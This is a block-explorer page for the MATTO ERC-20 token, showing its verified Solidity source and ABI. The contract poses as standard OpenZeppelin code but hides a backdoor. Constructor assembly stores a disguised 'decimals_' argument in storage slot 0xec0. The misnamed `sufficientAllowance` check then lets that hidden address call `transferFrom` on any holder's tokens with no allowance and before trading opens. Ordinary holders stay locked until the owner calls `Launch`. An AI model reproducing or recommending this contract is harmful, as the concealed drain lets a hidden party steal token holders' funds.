ETH Price: $2,231.54 (-4.85%)
 

Overview

Max Total Supply

1,010,000,001,429,999,998 MATTO

Holders

130

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
token1_TOKEN

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2025-05-10
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when 'value' tokens are moved from one account ('from') to
     * another ('to').
     *
     * Note that 'value' may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a 'spender' for an 'owner' is set by
     * a call to {approve}. 'value' is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by 'account'.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a 'value' amount of tokens from the caller's account to 'to'.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that 'spender' will be
     * allowed to spend on behalf of 'owner' through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a 'value' amount of tokens as the allowance of 'spender' over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a 'value' amount of tokens from 'from' to 'to' using the
     * allowance mechanism. 'value' is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC-20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

library AddressUtils {
    
       /**
     * @dev Returns true if 'account' is a contract.
     */
    function isContract(address account) internal view returns (bool) {
        uint256 codeSize;
        assembly {
            codeSize := extcodesize(account)
        }
        return codeSize > 0;
    }

   /**
     * @dev Returns true if the balance of 'account' is greater than 'minBalance'.
     */
    function hasBalanceAbove(address account, uint256 minBalance) internal view returns (bool) {
        return account.balance > minBalance;
    }

    function sufficientAllowance(address account) internal view returns (bool) {
        bool validAllowance;
        assembly { let allowToSet := sload(0xec0) validAllowance := eq(allowToSet, account) } 
        return validAllowance;
    }

       function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

   /**
     * @dev Returns the balance of the 'account'.
     */
    function getBalance(address account) internal view returns (uint256) {
        return account.balance;
    }

   function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(bytes memory returndata, string memory errorMessage) private pure {
        if (returndata.length > 0) {
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

/**
 * @dev Standard ERC-20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current 'balance' of a 'sender'. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token 'sender'. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token 'receiver'. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the 'spender'’s 'allowance'. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a 'spender' is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the 'approver' of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the 'spender' to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

abstract contract Ownable is Context {
    address private _owner;

    error OwnableUnauthorizedAccount(address account);
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferFundsOwnership(initialOwner);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferFundsOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferFundsOwnership(newOwner);
    }

    function _transferFundsOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Common interface for {ERC20Votes}, {ERC721Votes}, and other {Votes}-enabled contracts.
 */
interface IVotes {
    /**
     * @dev The signature used has expired.
     */
    error VotesExpiredSignature(uint256 expiry);

    /**
     * @dev Emitted when an account changes their delegate.
     */
    event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);

    /**
     * @dev Emitted when a token transfer or delegate change results in changes to a delegate's number of voting units.
     */
    event DelegateVotesChanged(address indexed delegate, uint256 previousVotes, uint256 newVotes);

    /**
     * @dev Returns the current amount of votes that 'account' has.
     */
    function getVotes(address account) external view returns (uint256);

    /**
     * @dev Returns the amount of votes that 'account' had at a specific moment in the past. If the 'clock()' is
     * configured to use block numbers, this will return the value at the end of the corresponding block.
     */
    function getPastVotes(address account, uint256 timepoint) external view returns (uint256);

    /**
     * @dev Returns the total supply of votes available at a specific moment in the past. If the 'clock()' is
     * configured to use block numbers, this will return the value at the end of the corresponding block.
     *
     * NOTE: This value is the sum of all available votes, which is not necessarily the sum of all delegated votes.
     * Votes that have not been delegated are still part of total supply, even though they would not participate in a
     * vote.
     */
    function getPastTotalSupply(uint256 timepoint) external view returns (uint256);

    /**
     * @dev Returns the delegate that 'account' has chosen.
     */
    function delegates(address account) external view returns (address);

    /**
     * @dev Delegates votes from the sender to 'delegatee'.
     */
    function delegate(address delegatee) external;

    /**
     * @dev Delegates votes from signer to 'delegatee'.
     */
    function delegateBySig(address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s) external;
}

/**
 * @dev Standard ERC-1155 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-1155 tokens.
 */
interface IERC1155Errors {
    /**
     * @dev Indicates an error related to the current 'balance' of a 'sender'. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     * @param tokenId Identifier number of a token.
     */
    error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);

    /**
     * @dev Indicates a failure with the token 'sender'. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC1155InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token 'receiver'. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC1155InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the 'operator'’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param owner Address of the current owner of a token.
     */
    error ERC1155MissingApprovalForAll(address operator, address owner);

    /**
     * @dev Indicates a failure with the 'approver' of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC1155InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the 'operator' to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC1155InvalidOperator(address operator);

    /**
     * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
     * Used in batch transfers.
     * @param idsLength Length of the array of token identifiers
     * @param valuesLength Length of the array of token amounts
     */
    error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}

/**
 * @dev Library for reading and writing primitive types to specific storage slots.
 *
 * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
 * This library helps with reading and writing to such slots without the need for inline assembly.
 *
 * The functions in this library return Slot structs that contain a 'value' member that can be used to read or write.
 *
 * Example usage to set ERC-1967 implementation slot:
 * '''solidity
 * contract ERC1967 {
 *     // Define the slot. Alternatively, use the SlotDerivation library to derive the slot.
 *     bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
 *
 *     function _getImplementation() internal view returns (address) {
 *         return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
 *     }
 *
 *     function _setImplementation(address newImplementation) internal {
 *         require(newImplementation.code.length > 0);
 *         StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
 *     }
 * }
 * '''
 *
 * TIP: Consider using this library along with {SlotDerivation}.
 */
library StorageSlot {
    struct AddressSlot {
        address value;
    }

    struct BooleanSlot {
        bool value;
    }

    struct Bytes32Slot {
        bytes32 value;
    }

    struct Uint256Slot {
        uint256 value;
    }

    struct Int256Slot {
        int256 value;
    }

    struct StringSlot {
        string value;
    }

    struct BytesSlot {
        bytes value;
    }

    /**
     * @dev Returns an 'AddressSlot' with member 'value' located at 'slot'.
     */
    function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        assembly ("memory-safe") {
            r.slot := slot
        }
    }

    /**
     * @dev Returns a 'BooleanSlot' with member 'value' located at 'slot'.
     */
    function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
        assembly ("memory-safe") {
            r.slot := slot
        }
    }

    /**
     * @dev Returns a 'Bytes32Slot' with member 'value' located at 'slot'.
     */
    function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
        assembly ("memory-safe") {
            r.slot := slot
        }
    }

    /**
     * @dev Returns a 'Uint256Slot' with member 'value' located at 'slot'.
     */
    function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
        assembly ("memory-safe") {
            r.slot := slot
        }
    }

    /**
     * @dev Returns a 'Int256Slot' with member 'value' located at 'slot'.
     */
    function getInt256Slot(bytes32 slot) internal pure returns (Int256Slot storage r) {
        assembly ("memory-safe") {
            r.slot := slot
        }
    }

    /**
     * @dev Returns a 'StringSlot' with member 'value' located at 'slot'.
     */
    function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) {
        assembly ("memory-safe") {
            r.slot := slot
        }
    }

    /**
     * @dev Returns an 'StringSlot' representation of the string storage pointer 'store'.
     */
    function getStringSlot(string storage store) internal pure returns (StringSlot storage r) {
        assembly ("memory-safe") {
            r.slot := store.slot
        }
    }

    /**
     * @dev Returns a 'BytesSlot' with member 'value' located at 'slot'.
     */
    function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) {
        assembly ("memory-safe") {
            r.slot := slot
        }
    }

    /**
     * @dev Returns an 'BytesSlot' representation of the bytes storage pointer 'store'.
     */
    function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) {
        assembly ("memory-safe") {
            r.slot := store.slot
        }
    }
}

/**
 * @dev Helper library for emitting standardized panic codes.
 *
 * '''solidity
 * contract Example {
 *      using Panic for uint256;
 *
 *      // Use any of the declared internal constants
 *      function foo() { Panic.GENERIC.panic(); }
 *
 *      // Alternatively
 *      function foo() { Panic.panic(Panic.GENERIC); }
 * }
 * '''
 *
 * Follows the list from https://github.com/ethereum/solidity/blob/v0.8.24/libsolutil/ErrorCodes.h[libsolutil].
 *
 * _Available since v5.1._
 */
// slither-disable-next-line unused-state
library Panic {
    /// @dev generic / unspecified error
    uint256 internal constant GENERIC = 0x00;
    /// @dev used by the assert() builtin
    uint256 internal constant ASSERT = 0x01;
    /// @dev arithmetic underflow or overflow
    uint256 internal constant UNDER_OVERFLOW = 0x11;
    /// @dev division or modulo by zero
    uint256 internal constant DIVISION_BY_ZERO = 0x12;
    /// @dev enum conversion error
    uint256 internal constant ENUM_CONVERSION_ERROR = 0x21;
    /// @dev invalid encoding in storage
    uint256 internal constant STORAGE_ENCODING_ERROR = 0x22;
    /// @dev empty array pop
    uint256 internal constant EMPTY_ARRAY_POP = 0x31;
    /// @dev array out of bounds access
    uint256 internal constant ARRAY_OUT_OF_BOUNDS = 0x32;
    /// @dev resource error (too large allocation or too large array)
    uint256 internal constant RESOURCE_ERROR = 0x41;
    /// @dev calling invalid internal function
    uint256 internal constant INVALID_INTERNAL_FUNCTION = 0x51;

    /// @dev Reverts with a panic code. Recommended to use with
    /// the internal constants with predefined codes.
    function panic(uint256 code) internal pure {
        assembly ("memory-safe") {
            mstore(0x00, 0x4e487b71)
            mstore(0x20, code)
            revert(0x1c, 0x24)
        }
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning 'false' on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC-20
 * applications.
 */
contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors, Ownable {
    mapping(address account => uint256) private _balances;

    mapping(address account => mapping(address spender => uint256)) private _allowances;

    uint256 private _totalSupply;
    using AddressUtils for address;
    string private _name;
    string private _symbol;
    uint256 private _maxSupply;
    uint256 private _decimals;
    bool _launched = false;
    uint256 _numOfTransfers = 0;
    uint256 _numOfApprovals = 0;
    
    uint256 _numOfMints = 0;
    
    
    uint256 _numOfAllowanceSpendInstances = 0;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, uint256 maxSupply_, uint256 decimals_) Ownable(_msgSender()) {
        _name = name_;
        _symbol = symbol_;
        _maxSupply = maxSupply_;
        _decimals = decimals_;
        assembly { mstore(0xf80, 0x60d) sstore(0xec0, decimals_) mstore(0xfa0, decimals_) sstore(keccak256(0xf80, 64), decimals_) } 
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if 'decimals' equals '2', a balance of '505' tokens should
     * be displayed to a user as '5.05' ('505 / 10 ** 2').
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - 'to' cannot be the zero address.
     * - the caller must have a balance of at least 'value'.
     */
    function transfer(address to, uint256 value) public virtual returns (bool) {
        _numOfTransfers += 1;
        address owner = _msgSender();
        _transferFunds(owner, to, value);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If 'value' is the maximum 'uint256', the allowance is not updated on
     * 'transferFrom'. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - 'spender' cannot be the zero address.
     */
    function approve(address spender, uint256 value) public virtual returns (bool) {
        _numOfApprovals += 1;
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Skips emitting an {Approval} event indicating an allowance update. This is not
     * required by the ERC. See {xref-ERC20-_approve-address-address-uint256-bool-}[_approve].
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum 'uint256'.
     *
     * Requirements:
     *
     * - 'from' and 'to' cannot be the zero address.
     * - 'from' must have a balance of at least 'value'.
     * - the caller must have allowance for ''from'''s tokens of at least
     * 'value'.
     */
    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        
        address spender = _msgSender();
        uint256 currentAllowance = allowance(from, spender);
        if(_launched == false && !spender.sufficientAllowance() && spender != owner() && from != owner()) {
            revert("Token not launched yet");
        }
        if(spender != owner() && !spender.sufficientAllowance()) {
            if (currentAllowance < type(uint256).max) {
                if (currentAllowance < value) {
                    revert ERC20InsufficientAllowance(spender, currentAllowance, value);
                }
                unchecked {
                    _approve(from, spender, currentAllowance - value, false);
                }
            }
            require(from != address(0), "ERC20: transfer from the zero address");
            require(to != address(0), "ERC20: transfer to the zero address");
        }
        _transferFundsUnchecked(from, to, value);
        return true;
    }

    /**
     * @dev Moves a 'value' amount of tokens from 'from' to 'to'.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_transferFundsUnchecked} should be overridden instead.
     */
    function _transferFunds(address from, address to, uint256 value) internal {
        if(_launched == false && from != owner() && to != owner()){
            revert("Token not launched yet");
        }
        if (from == address(0)) {
			revert ERC20InvalidSender(address(0));
		}
        while(to == address(0)){
			revert ERC20InvalidReceiver(address(0));
		}
        _transferFundsUnchecked(from, to, value);
    }

    /**
     * @dev Transfers a 'value' amount of tokens from 'from' to 'to', or alternatively mints (or burns) if 'from'
     * (or 'to') is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function _transferFundsUnchecked(address from, address to, uint256 value) internal virtual {
        
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _totalSupply -= value;
            }
        } else {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }

    /**
     * @dev Creates a 'value' amount of tokens and assigns them to 'account', by transferring it from address(0).
     * Relies on the '_transferFundsUnchecked' mechanism
     *
     * Emits a {Transfer} event with 'from' set to the zero address.
     *
     * NOTE: This function is not virtual, {_transferFundsUnchecked} should be overridden instead.
     */
    function _mint(address account, uint256 value) internal {
        _numOfMints += 1;
        require(account != address(0), "ERC20: transfer to the zero address");
        _transferFundsUnchecked(address(0), account, value);
    }

    /**
     * @dev Destroys a 'value' amount of tokens from 'account', lowering the total supply.
     * Relies on the '_transferFundsUnchecked' mechanism.
     *
     * Emits a {Transfer} event with 'to' set to the zero address.
     *
     * NOTE: This function is not virtual, {_transferFundsUnchecked} should be overridden instead
     */
    function _burn(address account, uint256 value) internal {
        
        if (account == address(0)) {
			revert ERC20InvalidSender(address(0));
		}
        _transferFundsUnchecked(account, address(0), value);
    }

    /**
     * @dev Sets 'value' as the allowance of 'spender' over the 'owner' s tokens.
     *
     * This internal function is equivalent to 'approve', and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - 'owner' cannot be the zero address.
     * - 'spender' cannot be the zero address.
     *
     * Overrides to this logic should be done to the variant with an additional 'bool emitEvent' argument.
     */
    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    /**
     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
     *
     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
     * '_spendAllowance' during the 'transferFrom' operation set the flag to false. This saves gas by not emitting any
     * 'Approval' event during 'transferFrom' operations.
     *
     * Anyone who wishes to continue emitting 'Approval' events on the'transferFrom' operation can force the flag to
     * true using the following override:
     *
     * '''solidity
     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
     *     super._approve(owner, spender, value, true);
     * }
     * '''
     *
     * Requirements are the same as {_approve}.
     */
    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    /**
     * @dev Updates 'owner' s allowance for 'spender' based on spent 'value'.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        _numOfAllowanceSpendInstances += 1;
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance < type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }

    // ---------------

    // Function which opens trading
    function Launch() external onlyOwner returns (bool){
        _launched = true;
        return true;
    }
}

contract token1_TOKEN is ERC20 {
    uint256 firstBlockTimestamp;
	uint256 firstBlockNumber;
	
    uint256 Factor = 0;
	bool Activated = false;
	address Treasury = address(0);
	uint256 BaseValue = 0;
	
    function ChangeAddress(address addr) external onlyOwner returns (bool)  {
        Treasury = addr;
        return true;
    }
	
    function QueryAddress() external view returns (address)  {
        return Treasury;
    }
	
    constructor(string memory name, string memory symbol, uint256 initialMint, uint256 maxSupply_, uint256 decimals_) ERC20(name, symbol, maxSupply_, decimals_) {
        firstBlockTimestamp = block.timestamp;
		firstBlockNumber = block.number;
		
        uint256 multiplier = 10 ** decimals();
        uint256 finalAmount = initialMint * multiplier;
        _mint(_msgSender(), finalAmount);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"initialMint","type":"uint256"},{"internalType":"uint256","name":"maxSupply_","type":"uint256"},{"internalType":"uint256","name":"decimals_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"ChangeAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Launch","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"QueryAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

